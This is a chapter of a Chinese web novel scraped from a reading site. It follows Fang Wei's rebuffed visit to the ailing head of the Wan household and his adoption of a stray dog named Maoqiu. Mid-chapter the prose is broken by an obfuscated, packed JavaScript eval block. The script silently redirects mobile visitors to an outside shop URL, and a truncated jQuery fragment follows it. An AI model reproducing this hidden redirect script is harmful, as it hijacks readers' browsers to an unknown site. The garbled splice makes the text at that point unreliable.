文趣网 > 其他小说 > 快雪时晴 > 46. 第四十六章 万府
    方惟清了清嗓子,朗声道:“在下是唐府的人,来为万老爷排忧解难的。”

    静默了片刻,门房老于小心翼翼地开了道门缝,见门外站着的是位模样俊俏、一身正气的少年郎,这才长长松了一口气。

    “抱歉了这位公子,方才多有得罪,老奴给您赔个不是......”

    方惟忙拉起老于的手,省去了客套,开门见山道:“你家老爷在何处?”

    被老于引进了府中,方惟一边四处张望,一边啧啧称奇。

    这万芳林虽然看上去病怏怏的,可再怎么说也是年纪轻轻就当上家主、迎娶相国嫡女的青年才俊,他的府邸再怎么说,也应当有些大家风范。

    可实际上,与方惟想象中大相径庭,万家的府邸看上去都不能用简朴二字形容,甚至可以说有点过于清贫了。

    按捺不住心中的疑惑,方惟开口向老于问道:“你家老爷......一直住在这里吗?”

    老于年纪大了,有一只眼睛已经变成了浑浊的白色,方惟只看见他用剩下的另一只勉强能用的眼睛斜着看向自己,嘴角还微有些白沫:“这就是万家的祖宅。我在万家干了一辈子活计,看着老爷在这里长大娶妻,你说是不是一直住在这里?”

    方惟不知老于为何生气起来,一时不备还挨了老于一拐杖。

    方惟不敢再多问,心中默念几遍谨言慎行,便跟着老于来到了一间看上去是书房的屋子前。

    “老爷,外头来了一位方公子,说是唐柔小姐派过来帮忙的。”

    屋里的人先咳了两声,才虚弱地说了声:“进来。”

    门打开后,只见一个形销骨立的男人正倚在窗边,喝着一碗乌黑浓稠的汤汁。

    窗户不知怎么地也开着,一阵穿堂风吹过,浓浓的药味微微散去一些。男人抬起手捂着嘴,似乎嗓间又有了痒意。

    老于紧张道:“老爷,风寒,当心身子......”

    “无碍,吹吹风清醒些。”万芳林身体虽然不好,可眼神倒是一片清亮,他淡淡地扫了眼门口的方惟,“老于,你先下去吧。”

    老于应了一声,又斜眼觑了方惟一眼,转身将门阖上了。

    屋内顿时一片昏暗,药味愈发浓郁起来,让人仿佛置身医馆之中。

    方惟抱拳行了一礼,道:“在下方惟,是唐柔的表弟,表姐她医馆繁忙一时走不开,便差我先来帮忙。这几日,我也会与她一同过来。”

    “方惟......”万芳林轻轻念了一遍他的名字。

    不知为何,方惟感觉似乎被一条冰冷的蛇缠住了脖颈。

    万芳林咳了两声,抬起眼:“今日在江南春,还要多谢方公子出手相救。”

    “偶然遇上,路见不平罢了。就是不知万老爷与那人结了什么仇怨,那人竟想拔刀下死手。”

    万芳林轻笑一声:“方公子一向都这么爱多管闲事么。”

    “并非我爱管闲事,是表姐她听说万老爷今日遇险,担心悬壶大会出什么岔子,这才安排我来帮忙。”少年郎身侧的雪青剑穗在微风中轻轻摇晃,“我这人不擅长名单客宴之事,对于打架斗殴倒是在行,因此我的任务便是帮万老爷排忧解难。”

    “方公子年纪轻轻,口气不小。”

    言下之意——没有金刚钻,就别揽瓷器活。

    方惟并不羞恼,微微一笑:“悬壶大会在即,除了我,万老爷恐怕也没有更好的选择了。若万老爷是担心我另有所图,那还请您放心。”

    见万芳林瞳孔微不可察地一缩,方惟干干净净的笑容愈深:“因为我,的确另有所图。”

    万府门口。

    一个身穿蓝衣的少年被扔了出来。

    方惟猜到了会碰壁遇冷,却没想到会这么快。

    他揉了揉腰,小声嘟囔着老于怎么摔这么狠,擦了擦雪青染尘的剑穗。

    周围有路人经过,见万府门口整日都这么热闹,窃窃私语着什么。

    “看什么看!”

    上一秒还坐在地上灰头土脸的少年鲤鱼打挺起了身,双手叉腰将人都吆喝走了。

    待人群散去,蓝衣少年还双手叉腰站在原地,不甘心地盯着万府的牌匾。

    方惟心中暗暗思忖,这万芳林看上去是个弱不禁风的病秧子,实际上倒是傲骨得很,单凭这样是绝对问不出鸣蝉草的秘密的。

    威逼不行,那便只能利诱了......

    等等。

    他为何要弄清楚鸣蝉草的秘密?

    方惟挠了挠脑袋。最开始,他好像只是为了能参加悬壶大会,找一找治疗失忆症的良方。

    他并非信不过唐柔的医术,只是自从按她开的方子拿药后,他似乎没觉得记忆有任何一丝恢复的迹象。

    当初唐柔倒是也叮嘱过,记忆的恢复需要从长计议,可整日顶着个空荡荡的脑袋,方惟觉得自己成了没有根的浮萍,到哪里都轻飘飘的,虽然无忧无虑,可总觉得生活缺了点分量。

    七情六欲仍在,却没有了爱与恨的对象。

    这些烦恼方惟不好直接向唐柔开口,若是从姓万的这里打听一二,说不定还能寻到更对症的方子。

    而眼下,接近万芳林最好的法子,不就是帮他解决了这个盘桓心头多时的心腹大患么?

    方惟打定了主意,决定还是先给天机楼去封信,好好问一问白无言这二人的底细。

    尤其是这位万家的年轻家主,方惟总觉得他身上迷雾重重。

    明明肩膺大家族的荣光,府上却偏偏破败不堪不曾修葺;明明顶着一副残柳之躯,首辅嫡女却心甘情愿下嫁于他为妻。

    方惟一边思索着,一边往唐府的方向走去。

    他太过专注,以至于一时之间没能察觉到身后的异样。

    在他看不到的暗巷里,几个黑影攒动,悄无声息地跟上了他。

    方惟刚一进府,便被什么毛茸茸的东西塞了满怀。

    “这是?”

    方惟疑惑地将那团黄色的毛球从怀中拽了下来,对上了一双黄豆似的圆眼。

    好不容易追上来的许晋气喘吁吁地扶着腿,喊道:

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784750|206375||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “毛球!”

    方惟撸着狗头的手微微一滞,心道谁起的名字,还真是......够形象的。

    毛球还傻呵呵地伸着舌头,努力够着方惟的掌心,享受着他乱七八糟的抚摸。

    “我不过出去转悠了一会儿,府上怎么就多了条狗?”

    “那可真是说来话长了。”许晋欲哭无泪地扶额,“这家伙也不知道什么时候在后院的墙根刨出了个狗洞。”

    唐府本就人丁稀少,加上许晋前些日子又总跟着方惟出门厮混,不是钓鱼便是爬山,哪里还有闲工夫管得上府里的事情。

    也就被这小崽子给钻了空子,玩了一出鸠占鹊巢。

    直到今日午后,唐柔一觉醒来,如往常一般去药圃里照看自己精心养护的宝贝们,才发现整个药圃像被猪拱过了似的,不仅篱笆东倒西歪一片,娇弱的药草更是奄奄一息地倒趴在了地上,看上去没几天好活了。

    罪魁祸首便是这个狗如其名的家伙,见有人来了,还兴奋地摇着尾巴,爪子上鼻子上都沾着新鲜的泥土。

    方惟不禁咋舌,他已经可以想象到苦主当时崩溃的样子,尤其是唐柔还对那个药圃无比珍视,轻易都不让外人进入。

    “那......表姐怎么说的?”

    “少爷还不知道我家小姐的性子吗。”许晋苦笑的表情看上去比毛球还要委屈巴巴,“当然是大发了一通雷霆,然后把狗丢给我,便专心去抢救她的宝贝们去了。”

    毛球听不懂许晋叽里咕噜在说什么,开心地在地上一滚,露出了脏兮兮还沾着土的肚皮。

    方惟忍不住笑着摸了两下,道:“表姐竟然没有找它算账。等等,毛球的名字是你起的?”

    “当然,是不是很传神!”许晋没听出方惟话里的嘲弄,自信满满地挺起了胸脯,“小姐心地善良,就算再生毛球的气,也不会拿它怎么样的。”

    “所以,这小家伙今后就把唐府当家了?”

    许晋似乎从没想过这一茬,经方惟这么一提醒,不禁一愣:“小姐倒是也没吩咐下来......”

    唐柔正忙着侍弄药草,哪有闲工夫管一条野狗的死活。

    方惟静静地看了毛球半晌,轻声开口道:“若是表姐不想要,毛球便由我来养吧。”

    毕竟他自己也是不知来历,没有归处的人。他一对上毛球湿漉漉的眼睛,心头便泛起一阵暖意。

    从现在起,毛球便是他的家人了。

    许晋刚开始还有些犹豫,可一想到唐柔的药圃,拒绝的话怎么也说不出来了。

    许晋也蹲下身,正要伸手摸向毛球的肚皮,毛球便一翻身,高冷地躲开了。

    目睹了全程的方惟笑得乐不可支,毛球贴着他的腿坐下了,粉红的舌头又伸了出来。

    “好啊毛球,方才你可不是这副嘴脸的!”许晋佯装伤心地捂住了胸口,“那个词怎么说来着,狗仗人势!”

    方惟捂住了小狗毛茸茸的耳朵:“阿晋,不许欺负毛球!”

    “我们毛球,再也不是没人要的野狗了。”